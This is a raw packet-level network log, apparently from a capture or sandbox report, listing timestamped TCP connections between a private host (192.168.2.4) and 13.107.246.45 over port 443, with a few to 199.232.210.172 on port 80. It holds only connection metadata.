Oct 31, 2024 11:28:06.700100899 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.700105906 CET	443	49805	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.713843107 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.713876963 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.713956118 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.714097023 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.714106083 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.803668022 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.804522991 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.804553986 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.805001974 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.805008888 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.934391022 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.934551954 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.934695959 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.935075998 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.935091019 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.935115099 CET	49809	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.935122013 CET	443	49809	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.938110113 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.938139915 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:06.938231945 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.938421965 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:06.938436031 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.385330915 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.385943890 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.385967016 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.386564970 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.386570930 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.396229982 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.404148102 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.404162884 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.405301094 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.405309916 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.447763920 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.448383093 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.448400974 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.448843956 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.448854923 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.511851072 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.512139082 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.512222052 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.512270927 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.512291908 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.512305975 CET	49811	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.512311935 CET	443	49811	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.515718937 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.515758991 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.515945911 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.516067982 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.516077995 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.530653954 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.530745983 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.530808926 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.531017065 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.531038046 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.531053066 CET	49810	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.531059980 CET	443	49810	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.533988953 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.534024954 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.534162045 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.534274101 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.534287930 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.575059891 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.575629950 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.575651884 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.575737000 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.576055050 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.576096058 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.576102972 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.576138020 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.576138020 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.576172113 CET	49812	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.576188087 CET	443	49812	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.578761101 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.578807116 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.578905106 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.579051971 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.579070091 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.688231945 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.688905954 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.688930035 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.689898968 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.689903975 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.707494974 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.707567930 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.707624912 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.707787991 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.707808018 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.707828045 CET	49808	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.707834959 CET	443	49808	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.710310936 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.710344076 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.710411072 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.710541964 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.710555077 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.818634033 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.818756104 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.818864107 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.818974018 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.818974018 CET	49813	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.818994045 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.818996906 CET	443	49813	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.821629047 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.821661949 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:07.821732998 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.821896076 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:07.821907043 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.243309021 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.256576061 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.295097113 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.310750961 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.334239960 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.338921070 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.338933945 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.347990036 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.348000050 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.348423958 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.348439932 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.348959923 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.348964930 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.388796091 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.452914000 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.456602097 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.456629038 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.472688913 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.473197937 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.473294020 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.473664999 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.473853111 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.473917007 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.498240948 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.542073965 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.554600000 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.554635048 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.557470083 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.557487965 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.558125973 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.558130980 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.558434010 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.558465004 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.558502913 CET	49815	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.558510065 CET	443	49815	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.573483944 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.573510885 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.574141026 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.574146032 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.581655979 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.581655979 CET	49814	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.581686974 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.581698895 CET	443	49814	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.602313042 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.602344990 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.602616072 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.602616072 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.602647066 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.603653908 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.603682041 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.603739023 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.604067087 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.604088068 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.681750059 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.681757927 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.682092905 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.682101011 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.682168007 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.684093952 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.697438955 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.697470903 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.697513103 CET	49818	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.697520971 CET	443	49818	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.698251009 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.698256016 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.698267937 CET	49816	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.698271990 CET	443	49816	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.699022055 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.699126005 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.699229002 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.710575104 CET	49724	80	192.168.2.4	199.232.210.172
Oct 31, 2024 11:28:08.711220980 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.711246014 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.711278915 CET	49817	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.711286068 CET	443	49817	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.716012001 CET	80	49724	199.232.210.172	192.168.2.4
Oct 31, 2024 11:28:08.716098070 CET	49724	80	192.168.2.4	199.232.210.172
Oct 31, 2024 11:28:08.746836901 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.746891022 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.746988058 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.747823954 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.747869968 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.747931004 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.748913050 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.748931885 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.749008894 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.749028921 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.750333071 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.750345945 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:08.750401974 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.750495911 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:08.750508070 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.100476980 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.101058960 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.101238966 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.101273060 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.101428032 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.101439953 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.101623058 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.101824999 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.101838112 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.102051020 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.102060080 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.102189064 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.102205038 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.102684021 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.102694035 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.102752924 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.103060007 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.103068113 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.103427887 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.103432894 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.230190039 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.230616093 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.230740070 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.230827093 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.230827093 CET	49819	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.230864048 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.230890036 CET	443	49819	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.233406067 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.233680010 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.233758926 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.233824015 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.233833075 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.233844042 CET	49822	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.233850956 CET	443	49822	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.234288931 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.234358072 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.234416962 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.234713078 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.234726906 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.234740019 CET	49823	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.234745026 CET	443	49823	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.235028982 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.235100985 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.235155106 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.235260963 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.235265017 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.235297918 CET	49820	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.235301971 CET	443	49820	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.235393047 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.235421896 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.235490084 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.235806942 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.235820055 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.237425089 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.237437010 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.237535954 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.237720013 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.237730026 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.237790108 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.237930059 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.237937927 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.238050938 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.238054991 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.238372087 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.238379955 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.238442898 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.238560915 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.238564968 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.676346064 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.677081108 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.677113056 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.677628994 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.677635908 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.814851999 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.814923048 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.815088987 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.815399885 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.815428019 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.815439939 CET	49821	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.815444946 CET	443	49821	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.818943024 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.818979025 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:10.819091082 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.819253922 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:10.819269896 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.005319118 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.006083965 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.006395102 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.006431103 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.006913900 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.006920099 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.007256031 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.007916927 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.007936954 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.008305073 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.008311987 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.008577108 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.008586884 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.009004116 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.009010077 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.018549919 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.019026041 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.019040108 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.019577980 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.019582987 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.139281988 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.139343023 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.139439106 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.141114950 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.141220093 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.141303062 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.142020941 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.142081022 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.142170906 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.154227018 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.154846907 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.154917955 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.268384933 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.268438101 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.268456936 CET	49827	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.268466949 CET	443	49827	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.270324945 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.270344973 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.270356894 CET	49824	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.270365953 CET	443	49824	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.288172960 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.288220882 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.288239002 CET	49825	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.288249969 CET	443	49825	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.291522026 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.291538954 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.291560888 CET	49826	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.291565895 CET	443	49826	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.562195063 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.600512028 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.600528002 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.601051092 CET	49828	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.601054907 CET	443	49828	13.107.246.45	192.168.2.4
Oct 31, 2024 11:28:11.604171991 CET	49829	443	192.168.2.4	13.107.246.45
Oct 31, 2024 11:28:11.604228020 CET	443	49829	13.107.246.45	192.168.2.4
